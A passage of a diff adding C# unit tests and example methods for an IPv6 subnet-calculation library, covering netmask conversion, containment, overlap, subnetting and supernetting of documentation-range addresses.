+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger8() {
+
+            IPAddress mask = IPAddress.Parse("::ff00:0");
+            uint uintMask = 0xff000000;
+
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger0() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            uint uintMask = 0x00000000;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+
+        #endregion
+
+        #region TryToNetmask
+        [TestMethod]
+        public void TryToNetmask1() {
+            IPAddress result = null;
+            bool parsed = IPNetwork.TryToNetmask(0, Sockets.AddressFamily.InterNetworkV6, out result);
+            IPAddress expected = IPAddress.Parse("::");
+
+            Assert.AreEqual(expected, result, "Netmask");
+            Assert.AreEqual(true, parsed, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TryToNetmask2() {
+            IPAddress result = null;
+            bool parsed = IPNetwork.TryToNetmask(33, Sockets.AddressFamily.InterNetworkV6, out result);
+            IPAddress expected = IPAddress.Parse("ffff:ffff:8000::");
+
+            Assert.AreEqual(expected, result, "Netmask");
+            Assert.AreEqual(true, parsed, "parsed");
+
+        }
+
+        #endregion
+
+        #region ToNetmask
+
+        [TestMethod]
+        public void ToNetmask128() {
+
+            byte cidr = 128;
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask31() {
+
+            byte cidr = 127;
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask30() {
+
+            byte cidr = 126;
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask1() {
+
+            byte cidr = 1;
+            string netmask = "8000::";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+
+        [TestMethod]
+        public void ToNetmask0() {
+
+            byte cidr = 0;
+            string netmask = "::";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void ToNetmaskOORE1() {
+            byte cidr = 129;
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+        }
+
+        #endregion
+
+        #region ValidNetmask
+
+        [TestMethod]
+        public void TestValidNetmask0() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmask1() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmask2() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+
+        [TestMethod]
+        public void TestValidNetmaskEAE1() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:0000:ffff");
+            bool expected = false;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmaskEAE3() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:0000:0001");
+            bool expected = false;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        #endregion
+
+        #region BitsSet
+
+        [TestMethod]
+        public void TestBitsSet128() {
+
+            IPAddress ip = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            uint bits = 128;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet120() {
+
+            IPAddress ip = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            uint bits = 124;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet16() {
+
+            IPAddress ip = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            uint bits = 112;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet4() {
+
+            IPAddress ip = IPAddress.Parse("f0f0:f0f0:f0f0:f0f0:f0f0:f0f0:f0f0:f0f0");
+            uint bits = 64;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+
+        #endregion
+
+        #region Contains
+
+        [TestMethod]
+        public void TestContains1() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPAddress ipaddress = IPAddress.Parse("2001:0db8::1");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPAddress ipaddress = IPAddress.Parse("2001:0db8:0:1::");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::/64");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::/65");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8:1::/65");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+
+        [TestMethod]
+        public void TestContains6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::/63");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestContains10()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::/0");
+            IPAddress ipaddress = null;
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+
+        }
+
+        [TestMethod]
+        public void TestContains11_different_adress_family_returns_false()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::1"); // IPv6
+            IPAddress ipaddress = IPAddress.Parse("127.0.0.1"); // IPv4
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            Assert.AreEqual(false, result, "contains");
+
+        }
+
+        #endregion
+
+        #region Overlap
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestOverlap2() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8::/0");
+            IPNetwork network2 = null;
+            IPNetwork.Overlap(network1, network2);
+        }
+
+        [TestMethod]
+        public void TestOverlap3() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8::/64");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap4() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8:0:0:1::/65");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap5() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8:0:1::/68");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8:0:2::/68");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap6() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8:0:1::/68");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8:0:2::/62");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        #endregion
+
+        #region Examples
+
+        public void Example1() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+
+            Console.WriteLine("Network : {0}", ipnetwork.Network);
+            Console.WriteLine("Netmask : {0}", ipnetwork.Netmask);
+            Console.WriteLine("Broadcast : {0}", ipnetwork.Broadcast);
+            Console.WriteLine("FirstUsable : {0}", ipnetwork.FirstUsable);
+            Console.WriteLine("LastUsable : {0}", ipnetwork.LastUsable);
+            Console.WriteLine("Usable : {0}", ipnetwork.Usable);
+            Console.WriteLine("Cidr : {0}", ipnetwork.Cidr);
+
+        }
+
+        public void Example2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+
+            IPAddress ipaddress = IPAddress.Parse("2001:0db8::1");
+            IPAddress ipaddress2 = IPAddress.Parse("2001:0db9::1");
+
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::1/128");
+            IPNetwork ipnetwork3 = IPNetwork.Parse("2001:0db9::1/64");
+
+            bool contains1 = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool contains2 = IPNetwork.Contains(ipnetwork, ipaddress2);
+            bool contains3 = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool contains4 = IPNetwork.Contains(ipnetwork, ipnetwork3);
+
+            bool overlap1 = IPNetwork.Overlap(ipnetwork, ipnetwork2);
+            bool overlap2 = IPNetwork.Overlap(ipnetwork, ipnetwork3);
+
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress, contains1);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress2, contains2);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipnetwork2, contains3);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipnetwork3, contains4);
+
+
+            Console.WriteLine("{0} overlap {1} : {2}", ipnetwork, ipnetwork2, overlap1);
+            Console.WriteLine("{0} overlap {1} : {2}", ipnetwork, ipnetwork3, overlap2);
+
+
+        }
+
+        public void Example4() {
+            IPNetwork wholeInternet = IPNetwork.Parse("::/0");
+            byte newCidr = 2;
+            IPNetworkCollection subneted = IPNetwork.Subnet(wholeInternet, newCidr);
+
+            Console.WriteLine("{0} was subnetted into {1} subnets", wholeInternet, subneted.Count);
+            Console.WriteLine("First: {0}", subneted[0]);
+            Console.WriteLine("Last : {0}", subneted[subneted.Count - 1]);
+            Console.WriteLine("All  :");
+
+            foreach (IPNetwork ipnetwork in subneted) {
+                Console.WriteLine("{0}", ipnetwork);
+            }
+        }
+        
+        public void Example5() {
+            IPNetwork ipnetwork1 = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db9::/64");
+            IPNetwork[] ipnetwork3 = IPNetwork.Supernet(new[] { ipnetwork1, ipnetwork2 });
+
+            Console.WriteLine("{0} + {1} = {2}", ipnetwork1, ipnetwork2, ipnetwork3[0]);
+
+        }
+        public void Example6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("fe80::202:b3ff:fe1e:8329/24");
+
+            IPAddress ipaddress = IPAddress.Parse("2001:db8::");
+            IPAddress ipaddress2 = IPAddress.Parse("fe80::202:b3ff:fe1e:1");
+
+            bool contains1 = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool contains2 = IPNetwork.Contains(ipnetwork, ipaddress2);
+
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress, contains1);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress2, contains2);
+
+        }
+
+
+
+        public void Example8() {
+
+            IPNetwork network = IPNetwork.Parse("::/124");
+            IPNetworkCollection ips = IPNetwork.Subnet(network, 128);
+
+            foreach (IPNetwork ip in ips) {
+                Console.WriteLine("{0}", ip);
+            }
+        }
+
+        
+        #endregion
+
+        #region ToString
+
+
+        [TestMethod]
+        public void TestToString() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:0000:0000:0000:0000:0000:0000/32");
+            string expected = "2001:db8::/32";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString1() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:1:2:3:4:5:6/32");
+            string expected = "2001:db8::/32";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:1:2:3:4:5:6/64");
+            string expected = "2001:db8:1:2::/64";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:1:2:3:4:5:6/100");
+            string expected = "2001:db8:1:2:3:4::/100";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        #endregion
+
+
+        #region Subnet
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void TestSubnet3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::");
+            byte cidr = 129;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestSubnet4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::");
+            byte cidr = 1;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("1:1:1:1:1:1:1:1");
+            byte cidr = 65;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(2, subnets.Count, "count");
+            Assert.AreEqual("1:1:1:1::/65", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("1:1:1:1:8000::/65", subnets[1].ToString(), "subnet2");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("1:1:1:1:1:1:1:1");
+            byte cidr = 68;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(16, subnets.Count, "count");
+            Assert.AreEqual("1:1:1:1::/68", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("1:1:1:1:1000::/68", subnets[1].ToString(), "subnet2");
+            Assert.AreEqual("1:1:1:1:2000::/68", subnets[2].ToString(), "subnet3");
+            Assert.AreEqual("1:1:1:1:3000::/68", subnets[3].ToString(), "subnet4");
+            Assert.AreEqual("1:1:1:1:4000::/68", subnets[4].ToString(), "subnet5");
+            Assert.AreEqual("1:1:1:1:5000::/68", subnets[5].ToString(), "subnet6");
+            Assert.AreEqual("1:1:1:1:6000::/68", subnets[6].ToString(), "subnet7");
+            Assert.AreEqual("1:1:1:1:7000::/68", subnets[7].ToString(), "subnet8");
+            Assert.AreEqual("1:1:1:1:8000::/68", subnets[8].ToString(), "subnet9");
+            Assert.AreEqual("1:1:1:1:9000::/68", subnets[9].ToString(), "subnet10");
+            Assert.AreEqual("1:1:1:1:a000::/68", subnets[10].ToString(), "subnet11");
+            Assert.AreEqual("1:1:1:1:b000::/68", subnets[11].ToString(), "subnet12");
+            Assert.AreEqual("1:1:1:1:c000::/68", subnets[12].ToString(), "subnet13");
+            Assert.AreEqual("1:1:1:1:d000::/68", subnets[13].ToString(), "subnet14");
+            Assert.AreEqual("1:1:1:1:e000::/68", subnets[14].ToString(), "subnet15");
+            Assert.AreEqual("1:1:1:1:f000::/68", subnets[15].ToString(), "subnet16");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet7() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("1:1:1:1:1:1:1:1");
+            byte cidr = 72;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(256, subnets.Count, "count");
+            Assert.AreEqual("1:1:1:1::/72", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("1:1:1:1:ff00::/72", subnets[255].ToString(), "subnet256");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet9() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08:1:1:1:1:1:1");
+            byte cidr = 128;
+            var count = BigInteger.Pow(2, ipnetwork.Cidr);
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(count, subnets.Count, "count");
+            Assert.AreEqual("2001:db08:1:1::/128", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("2001:db08:1:1::ff/128", subnets[255].ToString(), "subnet256");
+            Assert.AreEqual("2001:db08:1:1:ffff:ffff:ffff:ffff/128", subnets[count-1].ToString(), "last");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet10() {
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/0");
+            byte cidr = 128;
+            var count = BigInteger.Pow(2, 128-ipnetwork.Cidr);
+
+            // Here I spawm a OOM dragon ! beware of the beast !
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(count, subnets.Count, "count");
+            Assert.AreEqual("::/128", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128", subnets[count - 1].ToString(), "last");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet12() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 70;
+            int i = -1;
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            foreach (IPNetwork ipn in subnets) {
+                i++;
+                Assert.AreEqual(subnets[i], ipn, "subnet");
+            }
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void TestSubnet13()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 70;
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            IPNetwork error = subnets[1000];
+
+        }
+
+
+
+        [TestMethod]
+        public void TestSubnet14()
+        {
+
+            IPNetwork network = IPNetwork.Parse("15.0.0.0/8");
+            var subnets = IPNetwork.Subnet(network, (byte)12);
+            Assert.AreEqual(subnets[0].ToString(), "15.0.0.0/12", "subnets[0]");
+            Assert.AreEqual(subnets[1].ToString(), "15.16.0.0/12", "subnets[1]");
+            Assert.AreEqual(subnets[2].ToString(), "15.32.0.0/12", "subnets[2]");
+            Assert.AreEqual(subnets[15].ToString(), "15.240.0.0/12", "subnets[15]");
+
+            foreach (IPNetwork ipn in subnets)
+            {
+                Console.WriteLine(ipn);
+            }
+        }
+
+
+
+        #endregion
+
+        #region TrySubnet
+
+
+        [TestMethod]
+        public void TestTrySubnet3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 255;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(false, subnetted, "subnetted");
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 63;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(false, subnetted, "subnetted");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db8::/64");
+            byte cidr = 65;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(true, subnetted, "subnetted");
+            Assert.AreEqual(2, subnets.Count, "count");
+            Assert.AreEqual("2001:db8::/65", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("2001:db8:0:0:8000::/65", subnets[1].ToString(), "subnet2");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db8::/64");
+            byte cidr = 68;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(true, subnetted, "subnetted");
+            Assert.AreEqual(16, subnets.Count, "count");
+            Assert.AreEqual("2001:db8::/68", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("2001:db8:0:0:1000::/68", subnets[1].ToString(), "subnet2");
+            Assert.AreEqual("2001:db8:0:0:2000::/68", subnets[2].ToString(), "subnet3");
+            Assert.AreEqual("2001:db8:0:0:3000::/68", subnets[3].ToString(), "subnet4");
+            Assert.AreEqual("2001:db8:0:0:4000::/68", subnets[4].ToString(), "subnet5");
+            Assert.AreEqual("2001:db8:0:0:5000::/68", subnets[5].ToString(), "subnet6");
+            Assert.AreEqual("2001:db8:0:0:6000::/68", subnets[6].ToString(), "subnet7");
+            Assert.AreEqual("2001:db8:0:0:7000::/68", subnets[7].ToString(), "subnet8");
+            Assert.AreEqual("2001:db8:0:0:8000::/68", subnets[8].ToString(), "subnet9");
+            Assert.AreEqual("2001:db8:0:0:9000::/68", subnets[9].ToString(), "subnet10");
+            Assert.AreEqual("2001:db8:0:0:a000::/68", subnets[10].ToString(), "subnet11");
+            Assert.AreEqual("2001:db8:0:0:b000::/68", subnets[11].ToString(), "subnet12");
+            Assert.AreEqual("2001:db8:0:0:c000::/68", subnets[12].ToString(), "subnet13");
+            Assert.AreEqual("2001:db8:0:0:d000::/68", subnets[13].ToString(), "subnet14");
+            Assert.AreEqual("2001:db8:0:0:e000::/68", subnets[14].ToString(), "subnet15");
+            Assert.AreEqual("2001:db8:0:0:f000::/68", subnets[15].ToString(), "subnet16");
+
+        }
+
+
+
+        #endregion
+
+
+
+
+
+
+        #region TrySupernet
+
+
+        [TestMethod]
+        public void TestTrySupernet1() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/65");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8:0:0:8000::/65");
+            IPNetwork supernetExpected = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernet;
+            bool supernetted = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetted, result, "supernetted");
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet2() {
+
+            IPNetwork network1 = null;
+            IPNetwork network2 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet3() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = null;
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet4() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:db9::/65");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet5() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:dba::/64");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet6() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8::1/65");
+            IPNetwork supernetExpected = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet7() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8::1/65");
+            IPNetwork supernetExpected = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet8() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db0::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:dbf::/64");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet9() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.2.1/24");
+            IPNetwork[] network3 = new[] { network1, network2 };
+            IPNetwork[] supernetExpected = new[] { network1, network2 };
+            IPNetwork[] supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(supernetExpected[0], supernet[0], "supernet");
+            Assert.AreEqual(supernetExpected[1], supernet[1], "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernet10() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8:0000::/65");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8:0:0:8000::/65");
+            IPNetwork[] network3 = new[] { network1, network2 };
+            IPNetwork[] supernetExpected = new[] { IPNetwork.Parse("2001:db8::/64") };
+            IPNetwork[] supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(supernetExpected[0], supernet[0], "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernet11() {
+
+            IPNetwork[] network3 = null;
+            IPNetwork[] supernetExpected = new[] { IPNetwork.Parse("2001:db8::/64") };
+            IPNetwork[] supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(null, supernet, "supernet");
